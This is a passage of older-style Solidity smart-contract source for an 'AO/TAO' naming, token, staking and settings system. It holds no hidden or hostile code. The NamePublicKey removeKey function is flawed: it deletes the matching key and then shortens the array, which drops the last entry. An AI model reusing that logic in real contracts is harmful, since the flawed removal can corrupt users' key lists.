* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/**
* @title TAOCurrency
*/
contract TAOCurrency is TheAO {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals;
// To differentiate denomination of TAO Currency
uint256 public powerOfTen;
uint256 public totalSupply;
// This creates an array with all balances
// address is the address of nameId, not the eth public address
mapping (address => uint256) public balanceOf;
// This generates a public event on the blockchain that will notify clients
// address is the address of TAO/Name Id, not eth public address
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
// address is the address of TAO/Name Id, not eth public address
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply; // Update total supply
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
powerOfTen = 0;
decimals = 0;
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Check if `_id` is a Name or a TAO
*/
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) {
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive
* @return true on success
*/
function mintToken(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) {
_mintToken(target, mintedAmount);
return true;
}
/**
*
* @dev Whitelisted address remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
/***** INTERNAL METHODS *****/
/**
* @dev Send `_value` tokens from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
*/
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* @dev Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive
*/
function _mintToken(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
}
/**
* @title TAO
*/
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name; // the name for this TAO
address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address
// TAO's data
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
/**
* 0 = TAO
* 1 = Name
*/
uint8 public typeId;
/**
* @dev Constructor function
*/
constructor (string _name,
address _originId,
string _datHash,
string _database,
string _keyValue,
bytes32 _contentId,
address _vaultAddress
) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
// Creating TAO
typeId = 0;
vaultAddress = _vaultAddress;
}
/**
* @dev Checks if calling address is Vault contract
*/
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
/**
* @dev Allows Vault to transfer `_amount` of ETH from this TAO to `_recipient`
* @param _recipient The recipient address
* @param _amount The amount to transfer
* @return true on success
*/
function transferEth(address _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
/**
* @dev Allows Vault to transfer `_amount` of ERC20 Token from this TAO to `_recipient`
* @param _erc20TokenAddress The address of ERC20 Token
* @param _recipient The recipient address
* @param _amount The amount to transfer
* @return true on success
*/
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
/**
* @title Position
*/
contract Position is TheAO {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 constant public MAX_SUPPLY_PER_NAME = 100 * (10 ** 4);
uint256 public totalSupply;
// Mapping from Name ID to bool value whether or not it has received Position Token
mapping (address => bool) public receivedToken;
// Mapping from Name ID to its total available balance
mapping (address => uint256) public balanceOf;
// Mapping from Name's TAO ID to its staked amount
mapping (address => mapping(address => uint256)) public taoStakedBalance;
// Mapping from TAO ID to its total staked amount
mapping (address => uint256) public totalTAOStakedBalance;
// This generates a public event on the blockchain that will notify clients
event Mint(address indexed nameId, uint256 value);
event Stake(address indexed nameId, address indexed taoId, uint256 value);
event Unstake(address indexed nameId, address indexed taoId, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply; // Update total supply
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Create `MAX_SUPPLY_PER_NAME` tokens and send it to `_nameId`
* @param _nameId Address to receive the tokens
* @return true on success
*/
function mintToken(address _nameId) public inWhitelist returns (bool) {
// Make sure _nameId has not received Position Token
require (receivedToken[_nameId] == false);
receivedToken[_nameId] = true;
balanceOf[_nameId] = balanceOf[_nameId].add(MAX_SUPPLY_PER_NAME);
totalSupply = totalSupply.add(MAX_SUPPLY_PER_NAME);
emit Mint(_nameId, MAX_SUPPLY_PER_NAME);
return true;
}
/**
* @dev Get staked balance of `_nameId`
* @param _nameId The Name ID to be queried
* @return total staked balance
*/
function stakedBalance(address _nameId) public view returns (uint256) {
return MAX_SUPPLY_PER_NAME.sub(balanceOf[_nameId]);
}
/**
* @dev Stake `_value` tokens on `_taoId` from `_nameId`
* @param _nameId The Name ID that wants to stake
* @param _taoId The TAO ID to stake
* @param _value The amount to stake
* @return true on success
*/
function stake(address _nameId, address _taoId, uint256 _value) public inWhitelist returns (bool) {
require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME);
require (balanceOf[_nameId] >= _value); // Check if the targeted balance is enough
balanceOf[_nameId] = balanceOf[_nameId].sub(_value); // Subtract from the targeted balance
taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].add(_value); // Add to the targeted staked balance
totalTAOStakedBalance[_taoId] = totalTAOStakedBalance[_taoId].add(_value);
emit Stake(_nameId, _taoId, _value);
return true;
}
/**
* @dev Unstake `_value` tokens from `_nameId`'s `_taoId`
* @param _nameId The Name ID that wants to unstake
* @param _taoId The TAO ID to unstake
* @param _value The amount to unstake
* @return true on success
*/
function unstake(address _nameId, address _taoId, uint256 _value) public inWhitelist returns (bool) {
require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME);
require (taoStakedBalance[_nameId][_taoId] >= _value); // Check if the targeted staked balance is enough
require (totalTAOStakedBalance[_taoId] >= _value); // Check if the total targeted staked balance is enough
taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].sub(_value); // Subtract from the targeted staked balance
totalTAOStakedBalance[_taoId] = totalTAOStakedBalance[_taoId].sub(_value);
balanceOf[_nameId] = balanceOf[_nameId].add(_value); // Add to the targeted balance
emit Unstake(_nameId, _taoId, _value);
return true;
}
}
/**
* @title NameTAOLookup
*
*/
contract NameTAOLookup is TheAO {
address public nameFactoryAddress;
address public taoFactoryAddress;
struct NameTAOInfo {
string name;
address nameTAOAddress;
string parentName;
uint256 typeId; // 0 = TAO. 1 = Name
}
uint256 public internalId;
uint256 public totalNames;
uint256 public totalTAOs;
mapping (uint256 => NameTAOInfo) internal nameTAOInfos;
mapping (bytes32 => uint256) internal internalIdLookup;
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress) public {
nameFactoryAddress = _nameFactoryAddress;
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == nameFactoryAddress || msg.sender == taoFactoryAddress);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the taoFactoryAddress Address
* @param _taoFactoryAddress The address of TAOFactory
*/
function setTAOFactoryAddress(address _taoFactoryAddress) public onlyTheAO {
require (_taoFactoryAddress != address(0));
taoFactoryAddress = _taoFactoryAddress;
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a name exist in the list
* @param _name The name to be checked
* @return true if yes, false otherwise
*/
function isExist(string _name) public view returns (bool) {
bytes32 _nameKey = keccak256(abi.encodePacked(_name));
return (internalIdLookup[_nameKey] > 0);
}
/**
* @dev Add a new NameTAOInfo
* @param _name The name of the Name/TAO
* @param _nameTAOAddress The address of the Name/TAO
* @param _parentName The parent name of the Name/TAO
* @param _typeId If TAO = 0. Name = 1
* @return true on success
*/
function add(string _name, address _nameTAOAddress, string _parentName, uint256 _typeId) public onlyFactory returns (bool) {
require (bytes(_name).length > 0);
require (_nameTAOAddress != address(0));
require (bytes(_parentName).length > 0);
require (_typeId == 0 || _typeId == 1);
require (!isExist(_name));
internalId++;
bytes32 _nameKey = keccak256(abi.encodePacked(_name));
internalIdLookup[_nameKey] = internalId;
NameTAOInfo storage _nameTAOInfo = nameTAOInfos[internalId];
_nameTAOInfo.name = _name;
_nameTAOInfo.nameTAOAddress = _nameTAOAddress;
_nameTAOInfo.parentName = _parentName;
_nameTAOInfo.typeId = _typeId;
if (_typeId == 0) {
totalTAOs++;
} else {
totalNames++;
}
return true;
}
/**
* @dev Get the NameTAOInfo given a name
* @param _name The name to be queried
* @return the name of Name/TAO
* @return the address of Name/TAO
* @return the parent name of Name/TAO
* @return type ID. 0 = TAO. 1 = Name
*/
function getByName(string _name) public view returns (string, address, string, uint256) {
require (isExist(_name));
bytes32 _nameKey = keccak256(abi.encodePacked(_name));
NameTAOInfo memory _nameTAOInfo = nameTAOInfos[internalIdLookup[_nameKey]];
return (
_nameTAOInfo.name,
_nameTAOInfo.nameTAOAddress,
_nameTAOInfo.parentName,
_nameTAOInfo.typeId
);
}
/**
* @dev Get the NameTAOInfo given an ID
* @param _internalId The internal ID to be queried
* @return the name of Name/TAO
* @return the address of Name/TAO
* @return the parent name of Name/TAO
* @return type ID. 0 = TAO. 1 = Name
*/
function getByInternalId(uint256 _internalId) public view returns (string, address, string, uint256) {
require (nameTAOInfos[_internalId].nameTAOAddress != address(0));
NameTAOInfo memory _nameTAOInfo = nameTAOInfos[_internalId];
return (
_nameTAOInfo.name,
_nameTAOInfo.nameTAOAddress,
_nameTAOInfo.parentName,
_nameTAOInfo.typeId
);
}
/**
* @dev Return the nameTAOAddress given a _name
* @param _name The name to be queried
* @return the nameTAOAddress of the name
*/
function getAddressByName(string _name) public view returns (address) {
require (isExist(_name));
bytes32 _nameKey = keccak256(abi.encodePacked(_name));
NameTAOInfo memory _nameTAOInfo = nameTAOInfos[internalIdLookup[_nameKey]];
return _nameTAOInfo.nameTAOAddress;
}
}
/**
* @title NamePublicKey
*/
contract NamePublicKey {
using SafeMath for uint256;
address public nameFactoryAddress;
NameFactory internal _nameFactory;
NameTAOPosition internal _nameTAOPosition;
struct PublicKey {
bool created;
address defaultKey;
address[] keys;
}
// Mapping from nameId to its PublicKey
mapping (address => PublicKey) internal publicKeys;
// Event to be broadcasted to public when a publicKey is added to a Name
event AddKey(address indexed nameId, address publicKey, uint256 nonce);
// Event to be broadcasted to public when a publicKey is removed from a Name
event RemoveKey(address indexed nameId, address publicKey, uint256 nonce);
// Event to be broadcasted to public when a publicKey is set as default for a Name
event SetDefaultKey(address indexed nameId, address publicKey, uint256 nonce);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public {
nameFactoryAddress = _nameFactoryAddress;
_nameFactory = NameFactory(_nameFactoryAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == nameFactoryAddress);
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if msg.sender is the current advocate of Name ID
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a Name ID exist in the list of Public Keys
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function isExist(address _id) public view returns (bool) {
return publicKeys[_id].created;
}
/**
* @dev Store the PublicKey info for a Name
* @param _id The ID of the Name
* @param _defaultKey The default public key for this Name
* @return true on success
*/
function add(address _id, address _defaultKey)
public
isName(_id)
onlyFactory returns (bool) {
require (!isExist(_id));
require (_defaultKey != address(0));
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.created = true;
_publicKey.defaultKey = _defaultKey;
_publicKey.keys.push(_defaultKey);
return true;
}
/**
* @dev Get total publicKeys count for a Name
* @param _id The ID of the Name
* @return total publicKeys count
*/
function getTotalPublicKeysCount(address _id) public isName(_id) view returns (uint256) {
require (isExist(_id));
return publicKeys[_id].keys.length;
}
/**
* @dev Check whether or not a publicKey exist in the list for a Name
* @param _id The ID of the Name
* @param _key The publicKey to check
* @return true if yes. false otherwise
*/
function isKeyExist(address _id, address _key) isName(_id) public view returns (bool) {
require (isExist(_id));
require (_key != address(0));
PublicKey memory _publicKey = publicKeys[_id];
for (uint256 i = 0; i < _publicKey.keys.length; i++) {
if (_publicKey.keys[i] == _key) {
return true;
}
}
return false;
}
/**
* @dev Add publicKey to list for a Name
* @param _id The ID of the Name
* @param _key The publicKey to be added
*/
function addKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) {
require (!isKeyExist(_id, _key));
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.keys.push(_key);
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit AddKey(_id, _key, _nonce);
}
/**
* @dev Get default public key of a Name
* @param _id The ID of the Name
* @return the default public key
*/
function getDefaultKey(address _id) public isName(_id) view returns (address) {
require (isExist(_id));
return publicKeys[_id].defaultKey;
}
/**
* @dev Get list of publicKeys of a Name
* @param _id The ID of the Name
* @param _from The starting index
* @param _to The ending index
* @return list of publicKeys
*/
function getKeys(address _id, uint256 _from, uint256 _to) public isName(_id) view returns (address[]) {
require (isExist(_id));
require (_from >= 0 && _to >= _from);
PublicKey memory _publicKey = publicKeys[_id];
require (_publicKey.keys.length > 0);
address[] memory _keys = new address[](_to.sub(_from).add(1));
if (_to > _publicKey.keys.length.sub(1)) {
_to = _publicKey.keys.length.sub(1);
}
for (uint256 i = _from; i <= _to; i++) {
_keys[i.sub(_from)] = _publicKey.keys[i];
}
return _keys;
}
/**
* @dev Remove publicKey from the list
* @param _id The ID of the Name
* @param _key The publicKey to be removed
*/
function removeKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) {
require (isExist(_id));
require (isKeyExist(_id, _key));
PublicKey storage _publicKey = publicKeys[_id];
// Can't remove default key
require (_key != _publicKey.defaultKey);
require (_publicKey.keys.length > 1);
for (uint256 i = 0; i < _publicKey.keys.length; i++) {
if (_publicKey.keys[i] == _key) {
delete _publicKey.keys[i];
_publicKey.keys.length--;
uint256 _nonce = _nameFactory.incrementNonce(_id);
break;
}
}
require (_nonce > 0);
emit RemoveKey(_id, _key, _nonce);
}
/**
* @dev Set a publicKey as the default for a Name
* @param _id The ID of the Name
* @param _defaultKey The defaultKey to be set
* @param _signatureV The V part of the signature for this update
* @param _signatureR The R part of the signature for this update
* @param _signatureS The S part of the signature for this update
*/
function setDefaultKey(address _id, address _defaultKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) {
require (isExist(_id));
require (isKeyExist(_id, _defaultKey));
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _defaultKey));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender);
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.defaultKey = _defaultKey;
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit SetDefaultKey(_id, _defaultKey, _nonce);
}
}
/**
* @title NameFactory
*
* The purpose of this contract is to allow node to create Name
*/
contract NameFactory is TheAO {
using SafeMath for uint256;
address public positionAddress;
address public nameTAOVaultAddress;
address public nameTAOLookupAddress;
address public namePublicKeyAddress;
Position internal _position;
NameTAOLookup internal _nameTAOLookup;
NameTAOPosition internal _nameTAOPosition;
NamePublicKey internal _namePublicKey;
address[] internal names;
// Mapping from eth address to Name ID
mapping (address => address) public ethAddressToNameId;
// Mapping from Name ID to its nonce
mapping (address => uint256) public nonces;
// Event to be broadcasted to public when a Name is created
event CreateName(address indexed ethAddress, address nameId, uint256 index, string name);
/**
* @dev Constructor function
*/
constructor(address _positionAddress, address _nameTAOVaultAddress) public {
positionAddress = _positionAddress;
nameTAOVaultAddress = _nameTAOVaultAddress;
_position = Position(positionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if calling address can update Name's nonce
*/
modifier canUpdateNonce {
require (msg.sender == nameTAOPositionAddress || msg.sender == namePublicKeyAddress);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the NameTAOLookup Address
* @param _nameTAOLookupAddress The address of NameTAOLookup
*/
function setNameTAOLookupAddress(address _nameTAOLookupAddress) public onlyTheAO {
require (_nameTAOLookupAddress != address(0));
nameTAOLookupAddress = _nameTAOLookupAddress;
_nameTAOLookup = NameTAOLookup(nameTAOLookupAddress);
}
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = NameTAOPosition(nameTAOPositionAddress);
}
/**
* @dev The AO set the NamePublicKey Address
* @param _namePublicKeyAddress The address of NamePublicKey
*/
function setNamePublicKeyAddress(address _namePublicKeyAddress) public onlyTheAO {
require (_namePublicKeyAddress != address(0));
namePublicKeyAddress = _namePublicKeyAddress;
_namePublicKey = NamePublicKey(namePublicKeyAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Increment the nonce of a Name
* @param _nameId The ID of the Name
* @return current nonce
*/
function incrementNonce(address _nameId) public canUpdateNonce returns (uint256) {
// Check if _nameId exist
require (nonces[_nameId] > 0);
nonces[_nameId]++;
return nonces[_nameId];
}
/**
* @dev Create a Name
* @param _name The name of the Name
* @param _datHash The datHash to this Name's profile
* @param _database The database for this Name
* @param _keyValue The key/value pair to be checked on the database
* @param _contentId The contentId related to this Name
*/
function createName(string _name, string _datHash, string _database, string _keyValue, bytes32 _contentId) public {
require (bytes(_name).length > 0);
require (!_nameTAOLookup.isExist(_name));
// Only one Name per ETH address
require (ethAddressToNameId[msg.sender] == address(0));
// The address is the Name ID (which is also a TAO ID)
address nameId = new Name(_name, msg.sender, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress);
// Increment the nonce
nonces[nameId]++;
ethAddressToNameId[msg.sender] = nameId;
// Store the name lookup information
require (_nameTAOLookup.add(_name, nameId, 'human', 1));
// Store the Advocate/Listener/Speaker information
require (_nameTAOPosition.add(nameId, nameId, nameId, nameId));
// Store the public key information
require (_namePublicKey.add(nameId, msg.sender));
names.push(nameId);
// Need to mint Position token for this Name
require (_position.mintToken(nameId));
emit CreateName(msg.sender, nameId, names.length.sub(1), _name);
}
/**
* @dev Get Name information
* @param _nameId The ID of the Name to be queried
* @return The name of the Name
* @return The originId of the Name (in this case, it's the creator node's ETH address)
* @return The datHash of the Name
* @return The database of the Name
* @return The keyValue of the Name
* @return The contentId of the Name
* @return The typeId of the Name
*/
function getName(address _nameId) public view returns (string, address, string, string, string, bytes32, uint8) {
Name _name = Name(_nameId);
return (
_name.name(),
_name.originId(),
_name.datHash(),
_name.database(),
_name.keyValue(),
_name.contentId(),
_name.typeId()
);
}
/**
* @dev Get total Names count
* @return total Names count
*/
function getTotalNamesCount() public view returns (uint256) {
return names.length;
}
/**
* @dev Get list of Name IDs
* @param _from The starting index
* @param _to The ending index
* @return list of Name IDs
*/
function getNameIds(uint256 _from, uint256 _to) public view returns (address[]) {
require (_from >= 0 && _to >= _from);
require (names.length > 0);
address[] memory _names = new address[](_to.sub(_from).add(1));
if (_to > names.length.sub(1)) {
_to = names.length.sub(1);
}
for (uint256 i = _from; i <= _to; i++) {
_names[i.sub(_from)] = names[i];
}
return _names;
}
/**
* @dev Check whether or not the signature is valid
* @param _data The signed string data
* @param _nonce The signed uint256 nonce (should be Name's current nonce + 1)
* @param _validateAddress The ETH address to be validated (optional)
* @param _name The name of the Name
* @param _signatureV The V part of the signature
* @param _signatureR The R part of the signature
* @param _signatureS The S part of the signature
* @return true if valid. false otherwise
*/
function validateNameSignature(
string _data,
uint256 _nonce,
address _validateAddress,
string _name,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS
) public view returns (bool) {
require (_nameTAOLookup.isExist(_name));
address _nameId = _nameTAOLookup.getAddressByName(_name);
address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS);
if (_validateAddress != address(0)) {
return (
_nonce == nonces[_nameId].add(1) &&
_signatureAddress == _validateAddress &&
_namePublicKey.isKeyExist(_nameId, _validateAddress)
);
} else {
return (
_nonce == nonces[_nameId].add(1) &&
_signatureAddress == _namePublicKey.getDefaultKey(_nameId)
);
}
}
}
/**
* @title AOStringSetting
*
* This contract stores all AO string setting variables
*/
contract AOStringSetting is TheAO {
// Mapping from settingId to it's actual string value
mapping (uint256 => string) public settingValue;
// Mapping from settingId to it's potential string value that is at pending state
mapping (uint256 => string) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The string value to be set
*/
function setPendingValue(uint256 _settingId, string _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
string memory _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOBytesSetting
*
* This contract stores all AO bytes32 setting variables
*/
contract AOBytesSetting is TheAO {
// Mapping from settingId to it's actual bytes32 value
mapping (uint256 => bytes32) public settingValue;
// Mapping from settingId to it's potential bytes32 value that is at pending state
mapping (uint256 => bytes32) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The bytes32 value to be set
*/
function setPendingValue(uint256 _settingId, bytes32 _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
bytes32 _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOAddressSetting
*
* This contract stores all AO address setting variables
*/
contract AOAddressSetting is TheAO {
